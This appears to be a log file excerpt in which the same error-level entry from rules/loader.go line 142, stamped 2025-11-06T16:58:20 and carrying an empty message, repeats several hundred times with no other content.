source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 